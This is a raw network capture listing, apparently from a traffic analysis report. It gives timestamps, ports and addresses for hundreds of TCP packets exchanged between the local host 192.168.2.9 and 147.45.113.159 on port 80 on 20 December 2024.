Dec 20, 2024 17:13:44.091487885 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.117803097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.117822886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.117908001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.117933035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.117970943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.118043900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.118722916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.118733883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.118777990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.119374037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.119415045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.189692020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.189843893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.190134048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.190167904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.190201998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.190895081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.190918922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.190939903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.190975904 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.191576004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.191876888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.191915989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.191946983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.192657948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.193366051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.193394899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.193407059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.193429947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.193497896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.194288015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.194298983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.194338083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.195046902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.195084095 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.195352077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.195761919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.195784092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.195825100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.196671009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.196681976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.196711063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.197422028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.197432041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.197463036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.198271990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.198282003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.198318958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.199034929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.199081898 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.199095011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.199796915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.199810982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.199852943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.200530052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.200541019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.200575113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.201383114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.201706886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.201750994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.202055931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.202092886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.202186108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.202840090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.202884912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.202917099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.203715086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.203728914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.203767061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.204566956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.204682112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.204725027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.205254078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.205296993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.205404997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.205971003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.206016064 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.206043959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.206692934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.206842899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.206885099 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.207565069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.207607031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.207767010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.208453894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.208563089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.208602905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.209120989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.209160089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.209506989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.209914923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.209980965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.210022926 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.210700035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.210844994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.210886955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.211431026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.211472988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.211545944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.212210894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.212388992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.212433100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.269213915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.269227028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.269237995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.269341946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.269433022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.270102024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.270173073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.270222902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.270809889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.270880938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.271430969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.271477938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.271543026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.271578074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.272819042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.272897959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.273019075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.273030043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.273061037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.273087978 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.273777008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.273787975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.273838043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.274511099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.274632931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.274678946 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.275369883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.275379896 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.275418997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.276087999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.276237011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.278176069 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.280036926 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280047894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280060053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280071974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280083895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280095100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280101061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.280124903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.280160904 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280174971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.280204058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.281040907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.281488895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.281830072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.281842947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.281888008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.282562971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.282881021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.282932043 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.283932924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.283956051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.284015894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.284081936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.284095049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.284121037 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.284951925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.285022020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.286144972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.310774088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.310926914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.311003923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.311057091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.311070919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.311103106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.311433077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.312104940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.312160015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.312181950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.312668085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.314208984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.381704092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.381772041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.382143021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.382164001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.382219076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.382908106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.382956982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.383043051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.383085966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.383733988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.383919001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.383930922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.383970022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.384862900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.384882927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.384906054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.385560989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.385576010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.385600090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.386348009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.386461020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.386503935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.387100935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.387116909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.387142897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.387816906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.387856960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.387939930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.388628006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.388706923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.388746023 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.391129971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391149044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391164064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391177893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391182899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.391192913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391206026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.391208887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391226053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.391697884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.391746044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.391808033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.392576933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.392612934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.392705917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.393348932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.393362999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.393390894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.394021988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.394062996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.394133091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.394902945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.394948959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.394992113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.395606995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.395656109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.395656109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.396428108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.396689892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.396739960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.397294998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.397310019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.397339106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.397958040 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.398025036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.398058891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.398909092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.398926020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.398969889 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.399491072 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.399533987 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.399616003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.400300026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.400496960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.400541067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.401202917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.401221037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.401249886 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.401865959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.401907921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.401969910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.402637959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.402877092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.402931929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.403414011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.403477907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.403562069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.404262066 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.404275894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.404320955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.461318016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.461337090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.461412907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.461445093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.461487055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.462127924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.462229013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.462296963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.462975979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.463013887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.463423967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.463459015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.463563919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.463680983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.464421988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.464457989 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.464639902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.464673996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.465101004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.465253115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.465938091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.465972900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.466032028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.466073036 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.466705084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.466823101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.466861010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.467478991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.467616081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.468225002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.468266964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.468610048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.468650103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.469010115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.469131947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.469801903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.469861031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.469894886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.469928026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.470592976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.470844030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.470892906 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.471575975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.471592903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.471633911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.472445011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.472537994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.473149061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.473196983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.473222017 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.473284006 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.473771095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.473845005 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.474140882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.474504948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.474664927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.475354910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.475400925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.475418091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.475447893 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.476058006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.476082087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.478153944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.501991034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.502034903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.502154112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.502329111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.502397060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.503093958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.503159046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.503267050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.503304958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.504121065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.546973944 CET	49711	80	192.168.2.9	147.45.113.159
